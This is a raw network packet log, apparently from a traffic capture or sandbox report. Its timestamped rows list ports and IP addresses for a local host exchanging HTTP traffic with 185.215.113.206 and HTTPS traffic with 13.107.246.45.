Nov 12, 2024 17:07:27.514132023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514146090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514152050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514163971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514169931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514180899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514202118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514625072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514661074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514689922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514699936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514710903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514723063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514729023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514741898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514750004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514760017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514771938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514781952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514792919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514816999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515014887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515031099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515042067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515052080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515080929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515101910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515114069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515124083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515135050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515141964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515153885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515163898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515182018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515645027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515657902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515667915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515681982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515688896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515701056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515707970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515717983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515731096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515739918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515748978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515755892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515768051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515777111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515789032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515794992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515804052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515810966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515820026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515829086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515840054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515846968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515858889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515865088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.515876055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.515897036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.516391039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.516403913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.516413927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.516446114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.516465902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.516957045 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.517358065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.517370939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.517380953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.517400980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.517426014 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.517438889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.517451048 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.517457008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.517477036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.517940044 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.517946005 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.519511938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519531965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519542933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519565105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.519733906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519743919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519757032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.519764900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.519772053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.519795895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520030022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520061016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520068884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520076036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520087004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520104885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520391941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520404100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520414114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520435095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520452976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520790100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520801067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520811081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.520836115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.520855904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.521110058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.521119118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.521131992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.521148920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.521172047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.549993038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.550045013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.550061941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.550072908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.550096989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.550115108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.570207119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.570266008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.570436954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.570447922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.570485115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.570493937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.570724010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.570768118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.595379114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.595391989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.595402002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.595436096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.595449924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635607004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635670900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635678053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635691881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635711908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635730982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635746002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635780096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635902882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635943890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.635965109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635974884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.635987043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.636004925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.636020899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.636706114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.636729956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.636748075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.636780977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.636805058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.636841059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.636863947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.636897087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.637171030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.637206078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.637226105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.637237072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.637254953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.637271881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.638071060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638139009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.638398886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638410091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638431072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638501883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.638501883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.638588905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638600111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.638632059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.647659063 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.648576975 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.648672104 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.648703098 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.648716927 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.648726940 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.648731947 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.652013063 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.652044058 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.652124882 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.652539968 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.652550936 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.666970015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.667015076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.667026043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.667054892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.667073965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.687536955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.687634945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.687659025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.687684059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.687697887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.687704086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.687721968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.687731981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.712692022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.712728024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.712749004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.712757111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.712770939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.712780952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.735924006 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.736638069 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.736661911 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.737200975 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.737206936 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.752919912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.752933979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.752945900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753010035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753058910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753082991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753093958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753104925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753113985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753123999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753149033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753149033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753166914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753274918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.753324032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.753935099 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.754312992 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.754340887 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.754403114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754422903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754435062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754443884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754453897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754472017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754570007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754604101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754648924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754663944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.754683971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754700899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.754769087 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.754777908 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.755431890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755450010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755461931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755476952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.755496979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.755556107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755570889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755583048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.755599976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.755625010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.784414053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.784426928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.784437895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.784455061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.784504890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.784524918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.805223942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.805238962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.805250883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.805303097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.805320024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.830080986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.830095053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.830105066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.830193996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.830214024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.864893913 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.864955902 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.865026951 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.865199089 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.865216970 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.865228891 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.865233898 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.867645025 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.867685080 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.867752075 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.867891073 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.867904902 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.870501041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870516062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870534897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870547056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870558023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.870579958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.870723963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870738983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870748043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870759010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.870795012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.870882034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.870923996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.871953011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.871990919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872008085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872019053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872040987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872056007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872145891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872159004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872183084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872193098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872709990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872746944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872786045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872797966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872821093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872833014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872888088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872900009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.872922897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.872936010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.873229027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.873240948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.873269081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.873280048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.873341084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.873373985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.884779930 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.884840012 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.884884119 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.885040998 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.885054111 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.885063887 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.885068893 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.890084028 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.890115976 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.890187979 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.890336037 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.890347004 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.901314020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.901393890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.901405096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.901416063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.901437044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.901453972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.922425985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.922473907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.922496080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.922508001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.922533035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.922554016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.947376966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.947446108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.947536945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987581015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987653971 CET	80	49714	185.215.113.206	192.168.2.6
